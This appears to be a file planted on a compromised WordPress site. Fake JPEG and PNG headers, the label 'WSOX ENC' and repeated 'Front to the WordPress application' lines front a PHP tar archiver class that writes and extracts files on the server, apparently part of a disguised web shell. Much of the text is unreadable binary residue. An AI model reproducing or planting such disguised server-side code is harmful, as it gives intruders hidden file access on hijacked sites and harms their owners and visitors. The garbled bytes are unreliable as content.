���� JFIF    �� �        "" $(4,$&1'-=-157:::#+?D?8C49:7 7%%77777777777777777777777777777777777777777777777777��  { �" ��     �� 5    !1AQa"q�2��BR��#b�������  ��  ��   ? ��D@DDD@DDD@DDkK��6 �UG�4V�1�� �����릟�@�#���RY�dqp� ����� �o�7�m�s�<��VPS�e~V�چ8���X�T��$��c�� 9��ᘆ�m6@ WU�f�Don��r��5}9��}��hc�fF��/r=hi�� �͇�*�� b�.��$0�&te��y�@�A�F�=� Pf�A��a���˪�Œ�É��U|� � 3\�״ H SZ�g46�C��צ�ے �b<���;m����Rpع^��l7��*�����TF�}�\�M���M%�'�����٠ݽ�v� ��!-�����?�N!La��A+[`#���M����'�~oR�?��v^)��=��h����A��X�.���˃����^Ə��ܯsO"B�c>; �e�4��5�k��/CB��.  �J?��;�҈�������������������~�<�VZ�ꭼ2/)Í”jC���ע�V�G�!���!�F������\�� Kj�R�oc�h���:Þ I��1"2�q×°8��Р@ז���_C0�ր��A��lQ��@纼�!7��F�� �]�sZ B�62r�v�z~�K�7�c��5�.���ӄq&�Z�d�<�kk���T&8�|���I���� Ws}���ǽ�cqnΑ�_���3��|N�-y,��i���ȗ_�\60���@��6����D@DDD@DDD@DDD@DDD@DDc�KN66<�c��64=r����� ÄŽ0��h���t&(�hnb[� ?��^��\��â|�,�/h�\��R��5�? �0�!צ܉-����G����٬��Q�zA���1�����V��� �:R���`�$��ik��H����D4�����#dk����� h�}����7���w%�������*o8wG�LycuT�.���ܯ7��I��u^���)��/c�,s�Nq�ۺ�;�ך�YH2���.5B���DDD@DDD@DDD@DDD@DDD@V|�a�j{7c��X�F\�3MuA×¾hb� ��n��F������ ��8�(��e����Pp�\"G�`s��m��ާaW�K��O����|;ei����֋�[�q��";a��1����Y�G�W/�߇�&�<���Ќ�H'q�m���)�X+!���=�m�ۚ丷~6a^X�)���,�>#&6G���Y��{����"" """ """ """ """ ""��at\/�a�8 �yp%�lhl�n����)���i�t��B�������������?��modskinlienminh.com - WSOX ENC ‰PNG  IHDR Ÿ f Õ†C1 sRGB ®Îé gAMA ± üa pHYs à ÃÇo¨d GIDATx^íÜL”÷ð÷Yçªö("Bh_ò«®¸¢§q5kÖ*:þ0A­ºšÖ¥]VkJ¢M»¶f¸±8\k2íll£1]q®ÙÔ‚ÆT h25jguaT5*!‰PNG  IHDR Ÿ f Õ†C1 sRGB ®Îé gAMA ± üa pHYs à ÃÇo¨d GIDATx^íÜL”÷ð÷Yçªö("Bh_ò«®¸¢§q5kÖ*:þ0A­ºšÖ¥]VkJ¢M»¶f¸±8\k2íll£1]q®ÙÔ‚ÆT h25jguaT5*! Front to the WordPress application‰PNG  Front to the WordPress application‰PNG  Front to the WordPress application‰PNG  Front to the WordPress application‰PNG  Front to the WordPress application‰PNG  Front to the WordPress application‰PNG  Front to the WordPress application‰PNG  Front to the WordPress application‰PNG  Front to the WordPress application‰PNG  Front to the WordPress application‰PNG Front to the WordPress application‰PNG  Front to the WordPress application‰PNG  Front to the WordPress application‰PNG  Front to the WordPress application‰PNG   Front to the WordPress application <\/script>\r\n registrosErrores)) $this->registrosErrores = array(); } function crearPaquete($file_list){ $result = false; if (file_exists($this->nombrePaquete) && is_file($this->nombrePaquete)) $newArchive = false; else $newArchive = true; if ($newArchive){ if (!$this->abrirArchivoParaEscritura()) return false; } else { if (conjuntoArchivosize($this->nombrePaquete) == 0) return $this->abrirArchivoParaEscritura(); if ($this->estaComprimido) { $this->cerrarArchivoTemporal(); if (!rename($this->nombrePaquete, $this->nombrePaquete.'.tmp')){ $this->registrosErrores[] = __('Cannot rename').' '.$this->nombrePaquete.__(' to ').$this->nombrePaquete.'.tmp'; return false; } $tmpArchive = gzopen($this->nombrePaquete.'.tmp', 'rb'); if (!$tmpArchive){ $this->registrosErrores[] = $this->nombrePaquete.'.tmp '.__('is not readable'); rename($this->nombrePaquete.'.tmp', $this->nombrePaquete); return false; } if (!$this->abrirArchivoParaEscritura()){ rename($this->nombrePaquete.'.tmp', $this->nombrePaquete); return false; } $buffer = gzread($tmpArchive, 512); if (!gzeof($tmpArchive)){ do { $binaryData = pack('a512', $buffer); $this->guardarSegmentoDatos($binaryData); $buffer = gzread($tmpArchive, 512); } while (!gzeof($tmpArchive)); } gzclose($tmpArchive); unlink($this->nombrePaquete.'.tmp'); } else { $this->archivoTemporal = fopen($this->nombrePaquete, 'r+b'); if (!$this->archivoTemporal) return false; } } if (isset($file_list) && is_array($file_list)) { if (count($file_list)>0) $result = $this->empaquetarArchivosEnPaquete($file_list); } else $this->registrosErrores[] = __('No file').__(' to ').__('Archive'); if (($result)&&(is_resource($this->archivoTemporal))){ $binaryData = pack('a512', ''); $this->guardarSegmentoDatos($binaryData); } $this->cerrarArchivoTemporal(); if ($newArchive && !$result){ $this->cerrarArchivoTemporal(); unlink($this->nombrePaquete); } return $result; } function desempaquetarArchivos($path){ $fileName = $this->nombrePaquete; if (!$this->estaComprimido){ if (file_exists($fileName)){ if ($fp = fopen($fileName, 'rb')){ $data = fread($fp, 2); fclose($fp); if ($data == '\37\213'){ $this->estaComprimido = true; } } } elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->estaComprimido = true; } $result = true; if ($this->estaComprimido) $this->archivoTemporal = gzopen($fileName, 'rb'); else $this->archivoTemporal = fopen($fileName, 'rb'); if (!$this->archivoTemporal){ $this->registrosErrores[] = $fileName.' '.__('is not readable'); return false; } $result = $this->unempaquetarArchivosEnPaquete($path); $this->cerrarArchivoTemporal(); return $result; } function mostrarListaErrores ($message = '') { $Errors = $this->registrosErrores; if(count($Errors)>0) { if (!empty($message)) $message = ' ('.$message.')'; $message = __('Error occurred').$message.':
'; foreach ($Errors as $value) $message .= $value.'
'; return $message; } else return ''; } function empaquetarArchivosEnPaquete($file_array){ $result = true; if (!$this->archivoTemporal){ $this->registrosErrores[] = __('Invalid file descriptor'); return false; } if (!is_array($file_array) || count($file_array)<=0) return true; for ($i = 0; $inombrePaquete) continue; if (strlen($filename)<=0) continue; if (!file_exists($filename)){ $this->registrosErrores[] = __('No file').' '.$filename; continue; } if (!$this->archivoTemporal){ $this->registrosErrores[] = __('Invalid file descriptor'); return false; } if (strlen($filename)<=0){ $this->registrosErrores[] = __('Filename').' '.__('is incorrect');; return false; } $filename = str_replace('\\', '/', $filename); $keep_filename = $this->generarRutaValidaArchivo($filename); if (is_file($filename)){ if (($file = fopen($filename, 'rb')) == 0){ $this->registrosErrores[] = __('Mode ').__('is incorrect'); } if(($this->posicionArchivo == 0)){ if(!$this->insertarCabeceraArchivo($filename, $keep_filename)) return false; } while (($buffer = fread($file, 512)) != ''){ $binaryData = pack('a512', $buffer); $this->guardarSegmentoDatos($binaryData); } fclose($file); } else $this->insertarCabeceraArchivo($filename, $keep_filename); if (@is_dir($filename)){ if (!($handle = opendir($filename))){ $this->registrosErrores[] = __('Error').': '.__('Directory ').$filename.__('is not readable'); continue; } while (false !== ($dir = readdir($handle))){ if ($dir!='.' && $dir!='..'){ $file_array_tmp = array(); if ($filename != '.') $file_array_tmp[] = $filename.'/'.$dir; else $file_array_tmp[] = $dir; $result = $this->empaquetarArchivosEnPaquete($file_array_tmp); } } unset($file_array_tmp); unset($dir); unset($handle); } } return $result; } function unempaquetarArchivosEnPaquete($path){ $path = str_replace('\\', '/', $path); if ($path == '' || (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':'))) $path = './'.$path; clearstatcache(); while (strlen($binaryData = $this->obtenerBloqueDatos()) != 0){ if (!$this->recuperarCabeceraArchivo($binaryData, $header)) return false; if ($header['filename'] == '') continue; if ($header['typeflag'] == 'L'){ //reading long header $filename = ''; $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++){ $content = $this->obtenerBloqueDatos(); $filename .= $content; } if (($laspiece = $header['size'] % 512) != 0){ $content = $this->obtenerBloqueDatos(); $filename .= substr($content, 0, $laspiece); } $binaryData = $this->obtenerBloqueDatos(); if (!$this->recuperarCabeceraArchivo($binaryData, $header)) return false; else $header['filename'] = $filename; return true; } if (($path != './') && ($path != '/')){ while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1); if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename']; else $header['filename'] = $path.'/'.$header['filename']; } if (file_exists($header['filename'])){ if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){ $this->registrosErrores[] =__('File ').$header['filename'].__(' already exists').__(' as folder'); return false; } if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){ $this->registrosErrores[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists'); return false; } if (!is_writeable($header['filename'])){ $this->registrosErrores[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists'); return false; } } elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){ $this->registrosErrores[] = __('Cannot create directory').' '.__(' for ').$header['filename']; return false; } if ($header['typeflag'] == '5'){ if (!file_exists($header['filename'])) { if (!mkdir($header['filename'], 0777)) { $this->registrosErrores[] = __('Cannot create directory').' '.$header['filename']; return false; } } } else { if (($destination = fopen($header['filename'], 'wb')) == 0) { $this->registrosErrores[] = __('Cannot write to file').' '.$header['filename']; return false; } else { $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++) { $content = $this->obtenerBloqueDatos(); fwrite($destination, $content, 512); } if (($header['size'] % 512) != 0) { $content = $this->obtenerBloqueDatos(); fwrite($destination, $content, ($header['size'] % 512)); } fclose($destination); touch($header['filename'], $header['time']); } clearstatcache(); if (conjuntoArchivosize($header['filename']) != $header['size']) { $this->registrosErrores[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect'); return false; } } if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = ''; if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/'; $this->dirs[] = $file_dir; $this->conjuntoArchivos[] = $header['filename']; } return true; } function dirCheck($dir){ $parent_dir = dirname($dir); if ((@is_dir($dir)) or ($dir == '')) return true; if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir))) return false; if (!mkdir($dir, 0777)){ $this->registrosErrores[] = __('Cannot create directory').' '.$dir; return false; } return true; } function recuperarCabeceraArchivo($binaryData, &$header){ if (strlen($binaryData)==0){ $header['filename'] = ''; return true; } if (strlen($binaryData) != 512){ $header['filename'] = ''; $this->__('Invalid block size').': '.strlen($binaryData); return false; } $hashIntegridad = 0; for ($i = 0; $i < 148; $i++) $hashIntegridad+=ord(substr($binaryData, $i, 1)); for ($i = 148; $i < 156; $i++) $hashIntegridad += ord(' '); for ($i = 156; $i < 512; $i++) $hashIntegridad+=ord(substr($binaryData, $i, 1)); $unpack_data = unpack('a100filename/a8mode/a8identificadorUsuario/a8group_id/a12size/a12time/a8hashIntegridad/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData); $header['hashIntegridad'] = OctDec(trim($unpack_data['hashIntegridad'])); if ($header['hashIntegridad'] != $hashIntegridad){ $header['filename'] = ''; if (($hashIntegridad == 256) && ($header['hashIntegridad'] == 0)) return true; $this->registrosErrores[] = __('Error hashIntegridad for file ').$unpack_data['filename']; return false; } if (($header['typeflag'] = $unpack_data['typeflag']) == '5') $header['size'] = 0; $header['filename'] = trim($unpack_data['filename']); $header['mode'] = OctDec(trim($unpack_data['mode'])); $header['identificadorUsuario'] = OctDec(trim($unpack_data['identificadorUsuario'])); $header['group_id'] = OctDec(trim($unpack_data['group_id'])); $header['size'] = OctDec(trim($unpack_data['size'])); $header['time'] = OctDec(trim($unpack_data['time'])); return true; } function insertarCabeceraArchivo($filename, $keep_filename){ $packF = 'a100a8a8a8a12A12'; $packL = 'a1a100a6a2a32a32a8a8a155a12'; if (strlen($keep_filename)<=0) $keep_filename = $filename; $filename_ready = $this->generarRutaValidaArchivo($keep_filename); if (strlen($filename_ready) > 99){ //write long header $dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0); $dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', ''); // Calculate the hashIntegridad $hashIntegridad = 0; // First part of the header for ($i = 0; $i < 148; $i++) $hashIntegridad += ord(substr($dataFirst, $i, 1)); // Ignore the hashIntegridad value and replace it by ' ' (space) for ($i = 148; $i < 156; $i++) $hashIntegridad += ord(' '); // Last part of the header for ($i = 156, $j=0; $i < 512; $i++, $j++) $hashIntegridad += ord(substr($dataLast, $j, 1)); // Write the first 148 bytes of the header in the archive $this->guardarSegmentoDatos($dataFirst, 148); // Write the calculated hashIntegridad $hashIntegridad = sprintf('%6s ', DecOct($hashIntegridad)); $binaryData = pack('a8', $hashIntegridad); $this->guardarSegmentoDatos($binaryData, 8); // Write the last 356 bytes of the header in the archive $this->guardarSegmentoDatos($dataLast, 356); $archivoTemporalname = $this->generarRutaValidaArchivo($filename_ready); $i = 0; while (($buffer = substr($archivoTemporalname, (($i++)*512), 512)) != ''){ $binaryData = pack('a512', $buffer); $this->guardarSegmentoDatos($binaryData); } return true; } $file_info = stat($filename); if (@is_dir($filename)){ $typeflag = '5'; $size = sprintf('%11s ', DecOct(0)); } else { $typeflag = ''; clearstatcache(); $size = sprintf('%11s ', DecOct(conjuntoArchivosize($filename))); } $dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename)))); $dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', ''); $hashIntegridad = 0; for ($i = 0; $i < 148; $i++) $hashIntegridad += ord(substr($dataFirst, $i, 1)); for ($i = 148; $i < 156; $i++) $hashIntegridad += ord(' '); for ($i = 156, $j = 0; $i < 512; $i++, $j++) $hashIntegridad += ord(substr($dataLast, $j, 1)); $this->guardarSegmentoDatos($dataFirst, 148); $hashIntegridad = sprintf('%6s ', DecOct($hashIntegridad)); $binaryData = pack('a8', $hashIntegridad); $this->guardarSegmentoDatos($binaryData, 8); $this->guardarSegmentoDatos($dataLast, 356); return true; } function abrirArchivoParaEscritura(){ if ($this->estaComprimido) $this->archivoTemporal = gzopen($this->nombrePaquete, 'wb9f'); else $this->archivoTemporal = fopen($this->nombrePaquete, 'wb'); if (!($this->archivoTemporal)){ $this->registrosErrores[] = __('Cannot write to file').' '.$this->nombrePaquete; return false; } return true; } function obtenerBloqueDatos(){ if (is_resource($this->archivoTemporal)){ if ($this->estaComprimido) $block = gzread($this->archivoTemporal, 512); else $block = fread($this->archivoTemporal, 512); } else $block = ''; return $block; } function guardarSegmentoDatos($data, $length = 0){ if (is_resource($this->archivoTemporal)){ if ($length === 0){ if ($this->estaComprimido) gzputs($this->archivoTemporal, $data); else fputs($this->archivoTemporal, $data); } else { if ($this->estaComprimido) gzputs($this->archivoTemporal, $data, $length); else fputs($this->archivoTemporal, $data, $length); } } } function cerrarArchivoTemporal(){ if (is_resource($this->archivoTemporal)){ if ($this->estaComprimido) gzclose($this->archivoTemporal); else fclose($this->archivoTemporal); $this->archivoTemporal = 0; } } function generarRutaValidaArchivo($path){ if (strlen($path)>0){ $path = str_replace('\\', '/', $path); $partPath = explode('/', $path); $els = count($partPath)-1; for ($i = $els; $i>=0; $i--){ if ($partPath[$i] == '.'){ // Ignore this directory } elseif ($partPath[$i] == '..'){ $i--; } elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){ } else $result = $partPath[$i].($i!=$els ? '/'.$result : ''); } } else $result = ''; return $result; } } ?>